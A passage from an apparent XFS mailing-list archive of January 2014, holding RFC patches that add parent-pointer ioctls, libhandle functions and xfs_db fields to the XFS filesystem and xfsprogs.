0; + struct xfs_parent *entryp; do { error = jdm_parentpaths(fshandlep, statp, parentbuf, *parentbuf_size, &count); if (error == ERANGE) { *parentbuf_size *= 2; - parentbuf = (parent_t *)realloc(parentbuf, *parentbuf_size); + parentbuf = (struct xfs_parent *)realloc(parentbuf, + *parentbuf_size); } else if (error) { fprintf(stderr, _("parentpaths failed for ino %llu: %s\n"), (unsigned long long) statp->bs_ino, @@ -154,13 +160,18 @@ check_parents(parent_t *parentbuf, size_ entryp = parentbuf; for (i = 0; i < count; i++) { check_parent_entry(statp, entryp); - entryp = (parent_t*) (((char*)entryp) + entryp->p_reclen); + entryp = (struct xfs_parent*) (((char*)entryp) + + entryp->p_reclen); } } static int -do_bulkstat(parent_t *parentbuf, size_t *parentbuf_size, xfs_bstat_t *bstatbuf, - int fsfd, jdm_fshandle_t *fshandlep) +do_bulkstat( + struct xfs_parent *parentbuf, + size_t *parentbuf_size, + struct xfs_bstat *bstatbuf, + int fsfd, + jdm_fshandle_t *fshandlep) { __s32 buflenout; __u64 lastino = 0; @@ -233,7 +244,7 @@ parent_check(void) { int fsfd; jdm_fshandle_t *fshandlep; - parent_t *parentbuf; + struct xfs_parent *parentbuf; size_t parentbuf_size = PARENTBUF_SZ; xfs_bstat_t *bstatbuf; @@ -254,7 +265,7 @@ parent_check(void) /* allocate buffers */ bstatbuf = (xfs_bstat_t *)calloc(BSTATBUF_SZ, sizeof(xfs_bstat_t)); - parentbuf = (parent_t *)malloc(parentbuf_size); + parentbuf = (struct xfs_parent *)malloc(parentbuf_size); if (!bstatbuf || !parentbuf) { fprintf(stderr, _("unable to allocate buffers: %s\n"), strerror(errno)); @@ -276,13 +287,15 @@ parent_check(void) } static void -print_parent_entry(parent_t *parent, int fullpath) +print_parent_entry( + struct xfs_parent *parent, + int fullpath) { - printf(_("p_ino = %llu\n"), (unsigned long long) parent->p_ino); - printf(_("p_gen = %u\n"), parent->p_gen); + printf(_("p_ino = %llu\n"), (unsigned long long) parent->p_ino); + printf(_("p_offset = %u\n"), parent->p_offset); printf(_("p_reclen = %u\n"), parent->p_reclen); if (fullpath) - printf(_("p_name = \"%s%s\"\n"), mntpt, parent->p_name); + printf(_("p_name = \"%s/%s\"\n"), mntpt, parent->p_name); else printf(_("p_name = \"%s\"\n"), parent->p_name); } @@ -295,8 +308,8 @@ parent_list(int fullpath) int error, i; int retval = 1; __u32 count; - parent_t *entryp; - parent_t *parentbuf = NULL; + struct xfs_parent *entryp; + struct xfs_parent *parentbuf = NULL; char *path = file->name; int pb_size = PARENTBUF_SZ; @@ -318,7 +331,7 @@ parent_list(int fullpath) } do { - parentbuf = (parent_t *)realloc(parentbuf, pb_size); + parentbuf = (struct xfs_parent *)realloc(parentbuf, pb_size); if (!parentbuf) { fprintf(stderr, _("%s: unable to allocate parent buffer: %s\n"), progname, strerror(errno)); @@ -357,7 +370,8 @@ parent_list(int fullpath) entryp = parentbuf; for (i = 0; i < count; i++) { print_parent_entry(entryp, fullpath); - entryp = (parent_t*) (((char*)entryp) + entryp->p_reclen); + entryp = (struct xfs_parent *) (((char*)entryp) + + entryp->p_reclen); } retval = 0; Index: b/libhandle/handle.c =================================================================== --- a/libhandle/handle.c +++ b/libhandle/handle.c @@ -405,27 +405,77 @@ attr_list_by_handle( int parents_by_handle( - void *hanp, - size_t hlen, - parent_t *buf, - size_t bufsiz, - unsigned int *count) + void *hanp, + size_t hlen, + struct xfs_parent *buf, + size_t bufsiz, + unsigned int *count) { - errno = EOPNOTSUPP; - return -1; + int error, fd; + char *path; + char buffer[MAXPATHLEN+1]; + unsigned int buflen = MAXPATHLEN; + struct xfs_fsop_parentlist_handlereq plheq; + + if ((fd = handle_to_fsfd(hanp, &path)) < 0) + return -1; + + plheq.hreq.fd = 0; + plheq.hreq.path = NULL; + plheq.hreq.oflags = O_LARGEFILE; + plheq.hreq.ihandle = hanp; + plheq.hreq.ihandlen = hlen; + plheq.hreq.ohandle = buffer; + plheq.hreq.ohandlen = &buflen; + plheq.flags = 0x0040; + plheq.buffer = buf; + plheq.buflen = bufsiz; + plheq.ocount = count; + + /* prevent needless EINVAL from the kernel */ + if (plheq.buflen > XATTR_LIST_MAX) + plheq.buflen = XATTR_LIST_MAX; + + error = xfsctl(path, fd, XFS_IOC_GETPARENTS_BY_HANDLE, &plheq); + return error; } int parentpaths_by_handle( - void *hanp, - size_t hlen, - parent_t *buf, - size_t bufsiz, - unsigned int *count) + void *hanp, + size_t hlen, + struct xfs_parent *buf, + size_t bufsiz, + unsigned int *count) { - errno = EOPNOTSUPP; - return -1; + int error, fd; + char *path; + char buffer[MAXPATHLEN+1]; + unsigned int buflen = MAXPATHLEN; + struct xfs_fsop_parentlist_handlereq plheq; + + if ((fd = handle_to_fsfd(hanp, &path)) < 0) + return -1; + + plheq.hreq.fd = 0; + plheq.hreq.path = NULL; + plheq.hreq.oflags = O_LARGEFILE; + plheq.hreq.ihandle = hanp; + plheq.hreq.ihandlen = hlen; + plheq.hreq.ohandle = buffer; + plheq.hreq.ohandlen = &buflen; + plheq.flags = 0x0040; + plheq.buffer = buf; + plheq.buflen = bufsiz; + plheq.ocount = count; + + /* prevent needless EINVAL from the kernel */ + if (plheq.buflen > XATTR_LIST_MAX) + plheq.buflen = XATTR_LIST_MAX; + + error = xfsctl(path, fd, XFS_IOC_GETPARENTPATHS_BY_HANDLE, &plheq); + return error; } int Index: b/libhandle/jdm.c =================================================================== --- a/libhandle/jdm.c +++ b/libhandle/jdm.c @@ -18,8 +18,8 @@ #include #include -#include #include +#include /* internal fshandle - typecast to a void for external use */ #define FSHANDLE_SZ 8 @@ -178,21 +178,39 @@ jdm_attr_list( jdm_fshandle_t *fshp, } int -jdm_parents( jdm_fshandle_t *fshp, - xfs_bstat_t *statp, - parent_t *bufp, size_t bufsz, - unsigned int *count) -{ - errno = EOPNOTSUPP; - return -1; +jdm_parents( + jdm_fshandle_t *fshp, + struct xfs_bstat *statp, + struct xfs_parent *bufp, + size_t bufsz, + unsigned int *count) +{ + struct xfs_handle *handle = (struct xfs_handle *) fshp; + + handle->ha_fid.fid_ino = statp->bs_ino; + handle->ha_fid.fid_gen = statp->bs_gen; + handle->ha_fid.fid_len = + sizeof(handle->ha_fid) - sizeof(handle->ha_fid.fid_len); + + return parents_by_handle(handle, sizeof(struct xfs_handle), bufp, + bufsz, count); } int -jdm_parentpaths( jdm_fshandle_t *fshp, - xfs_bstat_t *statp, - parent_t *bufp, size_t bufsz, - unsigned int *count) -{ - errno = EOPNOTSUPP; - return -1; +jdm_parentpaths( + jdm_fshandle_t *fshp, + struct xfs_bstat *statp, + struct xfs_parent *bufp, + size_t bufsz, + unsigned int *count) +{ + struct xfs_handle *handle = (struct xfs_handle *) fshp; + + handle->ha_fid.fid_ino = statp->bs_ino; + handle->ha_fid.fid_gen = statp->bs_gen; + handle->ha_fid.fid_len = + sizeof(handle->ha_fid) - sizeof(handle->ha_fid.fid_len); + + return parentpaths_by_handle(handle, sizeof(struct xfs_handle), bufp, + bufsz, count); } From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F161E29E21 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id 717D8AC004 for ; Wed, 15 Jan 2014 16:30:53 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsiS003656 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UsHF003655; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.491725328@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:27 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 15/17] xfsprogs: add basic parent pointer support to xfs_db References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=03-xfsprogs-pptr-add-to-xfs_db.patch Add basic parent pointer support to xfs_db. Not at all complete. --- db/inode.c | 2 ++ --- db/inode.c | 2 ++ 1 file changed, 2 insertions(+) Index: b/db/inode.c =================================================================== --- a/db/inode.c +++ b/db/inode.c @@ -175,6 +175,8 @@ const field_t inode_v3_flds[] = { { "crtime", FLDT_TIMESTAMP, OI(COFF(crtime)), C1, 0, TYP_NONE }, { "inumber", FLDT_INO, OI(COFF(ino)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(COFF(uuid)), C1, 0, TYP_NONE }, + { "parent", FLDT_UINT64D, OI(COFF(parent)), C1, 0, TYP_NONE }, + { "poffset", FLDT_UINT32X, OI(OFF(poffset)), C1, 0, TYP_NONE }, { NULL } }; From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9AA9C29E1E for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0EE9CAC008 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UsDA003644 for ; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UswD003643; Wed, 15 Jan 2014 18:30:54 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000852.215757527@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:24 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 12/17] xfs: (parent ptr) add parent pointer support for user space References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=12-pptr-add-incore-to-getparentpaths_by_handle.patch Add the parent inode / offset support for user space. This adds two new ioctls to provide the names or paths for an inode that is pointed to by handle. --- fs/xfs/xfs_attr.h | 2 fs/xfs/xfs_fs.h | 10 + fs/xfs/xfs_ioctl.c | 72 ++++++++ fs/xfs/xfs_parent.c | 435 ++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_parent.h | 30 +++ 5 files changed, 548 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_attr.h =================================================================== --- a/fs/xfs/xfs_attr.h +++ b/fs/xfs/xfs_attr.h @@ -131,6 +131,8 @@ typedef struct xfs_attr_list_context { int put_value; /* T/F: need value for listent */ put_listent_func_t put_listent; /* list output fmt function */ int index; /* index into output buffer */ + char *scratch; /* parent private buf */ + int srtchlen; /* parent priv buf len */ } xfs_attr_list_context_t; Index: b/fs/xfs/xfs_fs.h =================================================================== --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -438,6 +438,14 @@ typedef struct xfs_fsop_attrmulti_handle struct xfs_attr_multiop __user *ops; /* attr_multi data */ } xfs_fsop_attrmulti_handlereq_t; +typedef struct xfs_fsop_parentlist_handlereq { + struct xfs_fsop_handlereq hreq; /* handle interface structure */ + u32 flags; /* which namespace to use */ + u32 buflen; /* length of supplied buffer */ + __s32 __user *ocount; /* output count ptr */ + void __user *buffer; /* returned names */ +} xfs_fsop_parentlist_handlereq_t; + /* * per machine unique filesystem identifier types. */ @@ -553,6 +561,8 @@ typedef struct xfs_swapext #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) #define XFS_IOC_FSGEOMETRY _IOR ('X', 124, struct xfs_fsop_geom) #define XFS_IOC_GOINGDOWN _IOR ('X', 125, __uint32_t) +#define XFS_IOC_GETPARENTS_BY_HANDLE _IOWR('X', 126, struct xfs_fsop_parentlist_handlereq) +#define XFS_IOC_GETPARENTPATHS_BY_HANDLE _IOWR('X', 127, struct xfs_fsop_parentlist_handlereq) /* XFS_IOC_GETFSUUID ---------- deprecated 140 */ Index: b/fs/xfs/xfs_ioctl.c =================================================================== --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -42,6 +42,7 @@ #include "xfs_symlink.h" #include "xfs_dinode.h" #include "xfs_trans.h" +#include "xfs_parent.h" #include #include @@ -632,6 +633,73 @@ xfs_attrmulti_by_handle( return -error; } +STATIC int +xfs_getparent_by_handle( + struct file *parfilp, + void __user *arg, + unsigned int cmd) +{ + int error = -ENOMEM; + int count = 0; + struct xfs_fsop_parentlist_handlereq pl_hreq; + struct dentry *dentry; + char *kbuf; + + if (!capable(CAP_SYS_ADMIN)) + return -XFS_ERROR(EPERM); + + if (copy_from_user(&pl_hreq, arg, sizeof(pl_hreq))) + return -XFS_ERROR(EFAULT); + + if (pl_hreq.buflen > XATTR_LIST_MAX) + return -XFS_ERROR(EINVAL); + + /* + * Reject flags, only allow namespaces. + */ + if (pl_hreq.flags & ~(ATTR_PARENT)) + return -XFS_ERROR(EINVAL); + + dentry = xfs_handlereq_to_dentry(parfilp, &pl_hreq.hreq); + if (IS_ERR(dentry)) + return PTR_ERR(dentry); + + kbuf = kmem_zalloc_large(pl_hreq.buflen, KM_SLEEP); + if (!kbuf) + goto out_dput; + + switch (cmd) { + case XFS_IOC_GETPARENTS_BY_HANDLE: + error = -xfs_parents_attr_list(XFS_I(dentry->d_inode), kbuf, + pl_hreq.buflen, &count); + break; + case XFS_IOC_GETPARENTPATHS_BY_HANDLE: + error = -xfs_parentpaths_attr_list(XFS_I(dentry->d_inode), + kbuf, pl_hreq.buflen, &count); + break; + default: + error = -ENOTTY; + } + if (error) + goto out_kfree; + + if (copy_to_user(pl_hreq.buffer, kbuf, pl_hreq.buflen)) { + error = -XFS_ERROR(EFAULT); + goto out_kfree; + } + + if (pl_hreq.ocount != NULL) { + if (copy_to_user(pl_hreq.ocount, &count, sizeof(count))) + error = -XFS_ERROR(EFAULT); + } + + out_kfree: + kmem_free(kbuf); + out_dput: + dput(dentry); + return error; +} + int xfs_ioc_space( struct xfs_inode *ip, @@ -1675,6 +1743,10 @@ xfs_file_ioctl( case XFS_IOC_ATTRMULTI_BY_HANDLE: return xfs_attrmulti_by_handle(filp, arg); + case XFS_IOC_GETPARENTS_BY_HANDLE: + case XFS_IOC_GETPARENTPATHS_BY_HANDLE: + return xfs_getparent_by_handle(filp, arg, cmd); + case XFS_IOC_SWAPEXT: { struct xfs_swapext sxp; Index: b/fs/xfs/xfs_parent.c =================================================================== --- a/fs/xfs/xfs_parent.c +++ b/fs/xfs/xfs_parent.c @@ -156,3 +156,438 @@ xfs_pptr_rename( */ return XFSREMOVESRC; } + +/* the fill function for xfs_readdir */ +static int +xfs_gpfill( + void *gfill, + const char *name, + int namlen, + loff_t offset, + u64 ino, + unsigned int type) +{ + struct xfs_pfillinfo *gfp = (struct xfs_pfillinfo *) gfill; + + if (offset != gfp->gp_off) /*XXX mft remove */ + return 0; + + namlen = MIN(namlen, gfp->gp_len); + strncpy(gfp->gp_path + gfp->gp_len - namlen, name, namlen); + gfp->gp_len -= namlen; + return 1; /* return a 1 to stop */ +} + +/* save name of entry at directory pino/offset to the buffer (path) */ +int +xfs_getpname( + struct xfs_mount *mp, /* IN mount point */ + xfs_ino_t pino, /* IN starting parent ino */ + xfs_off_t offset, /* IN starting dir offset */ + char *path, /* OUT buffer to hold path */ + int *plen) /* IN/OUT pref MAXPATHLEN+1 */ +{ + int error = 0; + struct xfs_inode *dp = NULL; + struct xfs_pfillinfo gfill = { + .ctx.actor = xfs_gpfill + }; + + ASSERT(path != NULL); + + gfill.ctx.pos = offset; + gfill.gp_off = offset; + gfill.gp_path = path; + gfill.gp_path[*plen-1] = '\0'; + memset(path, 0, *plen); + gfill.gp_len = *plen-1; + + error = xfs_iget(mp, NULL, pino, 0, XFS_ILOCK_SHARED, &dp); + if (error) + return error; + + error = xfs_readdir(dp, &(gfill.ctx), *plen); + xfs_iunlock(dp, XFS_ILOCK_SHARED); + IRELE(dp); + *plen = *plen - 1 - gfill.gp_len; + return error; +} + +STATIC int +xfs_attr_paths_put_listent( + struct xfs_attr_list_context *context, + int flags, + unsigned char *name, + int namelen, + int valuelen, + unsigned char *value) +{ + struct xfs_pattr *p_attr; + struct xfs_parent *p_entry; + + ASSERT(!(context->flags & ATTR_KERNOVAL)); + ASSERT(context->count >= 0); + ASSERT(context->count < (ATTR_MAX_VALUELEN/8)); + ASSERT(namelen == sizeof(struct xfs_pattr)); + + /* + * Only list entries in the right namespace. + */ + if ((context->flags & ATTR_PARENT) == 0) + return 0; + + if (namelen != sizeof(struct xfs_pattr)) + return 0; + + p_attr = (struct xfs_pattr *) name; + + p_entry = (struct xfs_parent *)context->alist; + p_entry->p_ino = be64_to_cpu(p_attr->p_ino); + p_entry->p_offset = be32_to_cpu(p_attr->p_offset); + context->seen_enough = 1; + return 0; +} + +/* save path of entry at directory pino/offset to the buffer (path) */ +int +xfs_getpath( + struct xfs_mount *mp, /* IN mount point */ + xfs_ino_t pino, /* IN starting parent ino */ + xfs_off_t offset, /* IN starting dir offset */ + char *path, /* OUT buffer to hold path */ + int *plen) /* IN/OUT pref MAXPATHLEN+1 */ +{ + int error = 0; + uint32_t dotdot; + struct xfs_inode *dp = NULL; + struct xfs_pfillinfo gfill = { + .ctx.actor = xfs_gpfill + }; + + ASSERT(path != NULL); + + gfill.ctx.pos = offset; + gfill.gp_off = offset; + gfill.gp_path = path; + gfill.gp_path[*plen-1] = '\0'; + memset(path, 0, *plen); + gfill.gp_len = *plen-1; + + + error = xfs_iget(mp, NULL, pino, 0, XFS_ILOCK_SHARED, &dp); + if (error) + return error; + + dotdot = dp->d_ops->data_dotdot_offset >> XFS_DIR2_DATA_ALIGN_LOG; + + /* + * start with the specified parent inode/offset. save the current + * name and then loop through the parent directories filling in + * the current directory name until the mount point is reached or + * the buffer is full. + */ + + while (gfill.gp_len > 1 ) { + gfill.gp_off = offset; /*XXX mft remove */ + gfill.ctx.pos = offset; + error = xfs_readdir(dp, &(gfill.ctx), *plen); + if (error) + goto out_irelse; + + /* look for the parent attribute in the current directory */ + pino = be64_to_cpu(dp->i_d.di_parent); + offset = be32_to_cpu(dp->i_d.di_poffset); + + /* stop at root directory */ + if (pino == mp->m_sb.sb_rootino && offset <= dotdot) + break; + + xfs_iunlock(dp, XFS_ILOCK_SHARED); + IRELE(dp); + + error = xfs_iget(mp, NULL, pino, 0, XFS_ILOCK_SHARED, &dp); + if (error) + goto out_irelse; + + if (gfill.gp_len < 1) + break; + + /* there is another parent directory - add dir slash */ + gfill.gp_len--; + *(gfill.gp_path + gfill.gp_len) = '/'; + } + + *plen = *plen - 1 - gfill.gp_len; + + out_irelse: + xfs_iunlock(dp, XFS_ILOCK_SHARED); + IRELE(dp); + return error; +} + +/* + * Format an attribute and copy it out to the user's buffer. + * Take care to check values and protect against them changing later, + * we may be reading them directly out of a user buffer. + */ +/*ARGSUSED*/ +STATIC int +xfs_attr_parents_put_listent( + struct xfs_attr_list_context *context, + int flags, + unsigned char *name, + int namelen, + int valuelen, + unsigned char *value) +{ + int error; + int len; + int reclen; + struct xfs_pattr *p_attr; + struct xfs_parent *p_entry; + + ASSERT(!(context->flags & ATTR_KERNOVAL)); + ASSERT(context->count >= 0); + ASSERT(context->count < (ATTR_MAX_VALUELEN/8)); + ASSERT(namelen == sizeof(struct xfs_pattr)); + + /* + * Only list entries in the right namespace. + */ + if ((context->flags & ATTR_PARENT) == 0) + return 0; + + if (namelen != sizeof(struct xfs_pattr)) + return 0; + + len = context->srtchlen; + p_attr = (struct xfs_pattr *) name; + error = xfs_getpname(context->dp->i_mount, be64_to_cpu(p_attr->p_ino), + be32_to_cpu(p_attr->p_offset), context->scratch, &len); + if (error) + return 0; + + /* round up to the nearest 8 byte alignment */ + reclen = PARENT_ENTSIZE(namelen); + if ((context->index + reclen) >= context->bufsize) { + context->seen_enough = 1; + return 0; + } + + p_entry = (struct xfs_parent *)(context->alist + context->index); + p_entry->p_ino = be64_to_cpu(p_attr->p_ino); + p_entry->p_offset = be32_to_cpu(p_attr->p_offset); + + /* + * xfs_getpname() will write the name at the end of the buffer + * and null terminated. Copy the path and null to xfs_parent_t + */ + memcpy(p_entry->p_name, context->scratch + context->srtchlen -1 - len, + len + 1); + p_entry->p_reclen = reclen; + + context->index += reclen; + context->count++; + return 0; +} + +/* + * Format an attribute and copy it out to the user's buffer. + * Take care to check values and protect against them changing later, + * we may be reading them directly out of a user buffer. + */ +/*ARGSUSED*/ +STATIC int +xfs_attr_parentpaths_put_listent( + struct xfs_attr_list_context *context, + int flags, + unsigned char *name, + int namelen, + int valuelen, + unsigned char *value) +{ + int error; + int len; + int reclen; + struct xfs_pattr *p_attr; + struct xfs_parent *p_entry; + + ASSERT(!(context->flags & ATTR_KERNOVAL)); + ASSERT(context->count >= 0); + ASSERT(context->count < (ATTR_MAX_VALUELEN/8)); + ASSERT(namelen == sizeof(struct xfs_pattr)); + + /* + * Only list entries in the right namespace. + */ + if ((context->flags & ATTR_PARENT) == 0) + return 0; + + if (namelen != sizeof(struct xfs_pattr)) + return 0; + + len = context->srtchlen; + p_attr = (struct xfs_pattr *) name; + error = xfs_getpath(context->dp->i_mount, be64_to_cpu(p_attr->p_ino), + be32_to_cpu(p_attr->p_offset), context->scratch, &len); + if (error) + return 0; + + /* round up to the nearest 8 byte alignment */ + reclen = PARENT_ENTSIZE(len); + if ((context->index + reclen) >= context->bufsize) { + context->seen_enough = 1; + return 0; + } + + p_entry = (struct xfs_parent *)(context->alist + context->index); + p_entry->p_ino = be64_to_cpu(p_attr->p_ino); + p_entry->p_offset = be32_to_cpu(p_attr->p_offset); + + /* + * xfs_getpath() will write the path at the end of the buffer + * and null terminated. Copy the path and null to xfs_parent_t + */ + memcpy(p_entry->p_name, context->scratch + context->srtchlen - 1 - len, + len + 1); + p_entry->p_reclen = reclen; + + context->index += reclen; + context->count++; + return 0; +} + +/* + * Generate a list of extended attribute parent directory path names */ +int +xfs_parents_attr_list( + struct xfs_inode *dp, + char *buffer, + int bufsize, + int *count) +{ + struct attrlist_cursor_kern cursor; + struct xfs_attr_list_context context; + int error; + + /* + * Check for a properly aligned buffer. + */ + if (((long)buffer) & (sizeof(int)-1)) + return XFS_ERROR(EFAULT); + + /* + * Initialize the output buffer. + */ + memset(&cursor, 0, sizeof(cursor)); + memset(&context, 0, sizeof(context)); + context.dp = dp; + context.cursor = &cursor; + context.resynch = 1; + context.flags = ATTR_PARENT; + context.alist = buffer; + context.bufsize = (bufsize & ~(sizeof(int)-1)); /* align */ + context.firstu = context.bufsize; + context.put_listent = xfs_attr_parents_put_listent; + context.scratch = kmalloc(MAXPATHLEN+1, GFP_KERNEL); + context.srtchlen = MAXPATHLEN+1; + *(context.scratch+MAXPATHLEN) = '\0'; + + if (dp->i_d.di_parent != NULLFSINO) { + struct xfs_pattr p_attr; + + /* copy the incore entry */ + p_attr.p_ino = dp->i_d.di_parent; + p_attr.p_offset = dp->i_d.di_poffset; + xfs_attr_parents_put_listent(&context, ATTR_PARENT, + (char *)&p_attr, sizeof(p_attr), 0, NULL); + if (context.seen_enough) { + *count = context.count; + error = ERANGE; + goto freeout; + } + } + + /* copy the parent extended attribute entries */ + error = xfs_attr_list_int(&context); + + *count = context.count; + if (context.seen_enough) { + /* + * The buffer is full and we return error. + * User would need to recall us with a bigger buffer. + */ + error = ERANGE; + } + freeout: + kfree(context.scratch); + return XFS_ERROR(error); +} + +/* + * Generate a list of extended attribute parent directory path names + */ +int +xfs_parentpaths_attr_list( + struct xfs_inode *dp, + char *buffer, + int bufsize, + int *count) +{ + struct attrlist_cursor_kern cursor; + struct xfs_attr_list_context context; + int error; + + /* + * Check for a properly aligned buffer. + */ + if (((long)buffer) & (sizeof(int) - 1)) + return XFS_ERROR(EFAULT); + + /* + * Initialize the output buffer. + */ + memset(&cursor, 0, sizeof(cursor)); + memset(&context, 0, sizeof(context)); + context.dp = dp; + context.cursor = &cursor; + context.resynch = 1; + context.flags = ATTR_PARENT; + context.alist = buffer; + context.bufsize = (bufsize & ~(sizeof(int) - 1)); /* align */ + context.firstu = context.bufsize; + context.put_listent = xfs_attr_parentpaths_put_listent; + context.scratch = kmalloc(MAXPATHLEN+1, GFP_KERNEL); + context.srtchlen = MAXPATHLEN+1; + *(context.scratch+MAXPATHLEN) = '\0'; + + if (dp->i_d.di_parent != NULLFSINO) { + struct xfs_pattr p_attr; + + /* copy the incore entry */ + p_attr.p_ino = dp->i_d.di_parent; + p_attr.p_offset = dp->i_d.di_poffset; + xfs_attr_parentpaths_put_listent(&context, ATTR_PARENT, + (char *)&p_attr, sizeof(p_attr), 0, NULL); + if (context.seen_enough) { + *count = context.count; + error = ERANGE; + goto freeout; + } + } + + /* copy the parent extended attribute entries */ + error = xfs_attr_list_int(&context); + + *count = context.count; + if (context.seen_enough) { + /* + * The buffer is full and we return error. + * User would need to recall us with a bigger buffer. + */ + error = ERANGE; + } + freeout: + kfree(context.scratch); + return XFS_ERROR(error); +} Index: b/fs/xfs/xfs_parent.h =================================================================== --- a/fs/xfs/xfs_parent.h +++ b/fs/xfs/xfs_parent.h @@ -28,6 +28,22 @@ struct xfs_pattr { __be32 p_offset; } __attribute__((packed)); +/* xfs_readdir fill program private data */ +struct xfs_pfillinfo { + struct dir_context ctx; /* must be first entry */ + int gp_len; + int gp_off; + char *gp_path; +}; + +typedef struct xfs_parent { + uint64_t p_ino; /* parent inode number */ + uint32_t p_offset; /* entry offset in parent inode */ + uint16_t p_reclen; /* name length */ + uint16_t p_pad; /* padding for future */ + char p_name[1]; /* variable length name */ +} xfs_parent_t; + static inline void xfs_parent_pname(xfs_ino_t ino, __uint32_t off, struct xfs_pattr *pe, struct xfs_name *pn) { pe->p_ino = cpu_to_be64(ino); @@ -36,9 +52,21 @@ static inline void xfs_parent_pname(xfs_ pn->len = sizeof(struct xfs_pattr); } +/* actual bytes used by parent entry */ +#define PARENT_ENTSIZE(namelen) \ + ((offsetof(struct xfs_parent, p_name) + (namelen) + 1 + \ + sizeof(uint64_t)-1) & ~(sizeof(uint64_t)-1)) + +int xfs_getpath(struct xfs_mount *mp, xfs_ino_t pino, xfs_off_t offset, + char *path, int *plen); +int xfs_getpname(struct xfs_mount *mp, xfs_ino_t pino, xfs_off_t offset, + char *path, int *plen); +int xfs_parents_attr_list(struct xfs_inode *dp, char *buffer, int bufsize, + int *count); +int xfs_parentpaths_attr_list(struct xfs_inode *dp, char *buffer, int bufsize, + int *count); int xfs_pptr_rename(struct xfs_mount *mp, struct xfs_trans *tp, struct xfs_inode *src_dp, struct xfs_inode *target_dp, struct xfs_inode *src_ip, struct xfs_inode *target_ip, uint src_offset, uint tar_offset); #endif /* __XFS_PARENT_H__ */ - From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 45FA429E38 for ; Wed, 15 Jan 2014 18:30:55 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay3.corp.sgi.com (Postfix) with ESMTP id AEE1FAC006 for ; Wed, 15 Jan 2014 16:30:51 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0Ur8s003600 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0Uqmg003599; Wed, 15 Jan 2014 18:30:52 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.190452695@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:13 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 01/17] xfs: (parent ptr) get offset when adding directory name References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=01-pptr-retrieve-info-from-directory.patch Return the directory offset information when adding an entry to the directory. This offset will be used as the parent pointer offset in xfs_create, xfs_symlink, xfs_link and xfs_rename. --- 